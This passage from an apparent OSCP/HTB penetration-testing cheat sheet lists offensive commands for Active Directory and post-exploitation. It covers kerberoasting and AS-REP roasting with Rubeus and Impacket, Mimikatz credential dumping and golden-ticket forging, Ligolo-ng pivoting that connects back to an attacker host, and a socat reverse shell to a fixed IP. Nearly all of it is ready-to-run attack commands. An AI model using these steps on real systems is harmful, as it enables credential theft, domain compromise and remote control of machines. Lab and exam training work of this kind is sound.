https://github.com/GhostPack/Rubeus

  • Rubeus.exe harvest /interval:30 - to harvest tickets
  • rubeus.exe kerberoast- to get hashes of kerberoastable accounts. Use bloodhound to see if they are worth anything.
  • Rubeus.exe asreproast
    • can be cracked with hashcat
    • YOU MAY NEED TO ADD 23$ TO THE HASH!! PAY ATTENTION TO THE FORMAT!!!

Impacket (remote)

Impacket-GetUserSPNs.py controller.local/Machine1:Password1 -dc-ip [IP] -request Bash script: for user in $(cat users.txt); do impacket-GetNPUsers -no-pass -dc-ip 10.10.10.161 $domain/${user} | grep -v Impacket; done

  • where $domain is just the htb of htb.local

Mimikatz

  • Can be used to dump creds, but it can also be used to gain Domain Admin tickets and impersonate them. Obviously great for privesc.
  • Steps:
    • mimikatz.exe
    • privilege::debug - if you run and don’t get 20, it won’t work
    • sekurlsa::tickets /export - to export tickets on machine.
      • we can impersonate the ticket. Recommend using an admin ticket…duh kerberos::ptt $ticket
    • lsadump::lsa /patch - If you are on a DC you can dump the hashes
    • lsadump::lsa /inject /name:krbtgt - can also create a golden ticket on a DC:
      • kerberos::golden /user: /domain: /sid: /krbtgt: /id:
      • you can access any machine in the domain
        • misc::cmd
        • \\MACHINE1 cmd.exe

Port Forwarding, Mirroring

Ligolo

Guide Basic usage From Kali:

  1. sudo ip tuntap add user pop mode tun ligolo
  2. sudo ip link set ligolo up
  3. sudo ip route add $targetIP.0/24 dev ligolo
  4. sudo ./proxy -selfcert

From Windows Target (agent file):

  1. .\ligolo.exe -connect $kaliIP:11601 -ignore-cert

OR

From Linux Target (agent file):

  1. ./ligolo -connect $kaliIP:11601 -ignore-cert

Then from Kali:

  1. session
  2. 1
  3. Start
    1. listener_add --addr 0.0.0.0:5555 --to 127.0.0.1:6666 This allows you to access port 5555 on target from 127.0.0.1:6666 (kali machine).

Local Port Forwarding: - ip route add 240.0.0.1/32 dev ligolo - 240.0.0.1 will point to whatever machine Ligolo-ng has an active tunnel on.

Other tools

While the OSCP Lab discusess other tools such as socat, sshuttle, and plink, I found that Ligolo-ng was able to provide all of the same functionality and more simply. That said, I am linking a guide discusess the other tools. Here is frankyyano’s Pivoting & Tunneling guide.

Tips

Port scanning through a tunnel can take a while, and it may be only TCP scans that work so no UDP or ICMP


Steganography

  1. Binwalk - A tool for searching binary files for embedded hidden files and data.
    1. binwalk $file # Displays the embedded data
    2. binwalk -e file # Extracts the data
    3. binwalk --dd ".*" $file # Extracts all data
  2. strings
    1. strings $file
    2. strings -n 6 $file # Extracts strings with a minimum length of 6
  3. file
    1. file $file
  4. exiftool
    1. exiftool $file

Upgrading Shell

Python

  1. python -c ‘import pty; pty.spawn(“/bin/bash”)’
  2. background reverse shell using CTRL-Z
  3. echo $TERM
  4. stty -a
    1. Take note of the TERM type and size of the tty
    2. Ex: xterm-256 color and rows 38; columns 116
  5. Then with the reverse shell still in background “stty raw -echo”
  6. fg
  7. reset
  8. export SHELL=bash
  9. export TERM=xterm-256 color (for example)
  10. stty rows 38 columns 116
Full
python3 -c 'import pty; pty.spawn("/bin/bash")'

(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 36 columns 102; reset;
  • You can get the number of rows and columns executing stty -a

Shell Upgrades

Socat

  1. From kali
    • sudo socat file:’tty’,raw,echo=0 tcp-listen:443
  2. From target
    • socat exec:’bash -li’,pty,stderr,setsid,sigint,sane tcp:192.168.45.230:443

Others: https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/full-ttys



Table of contents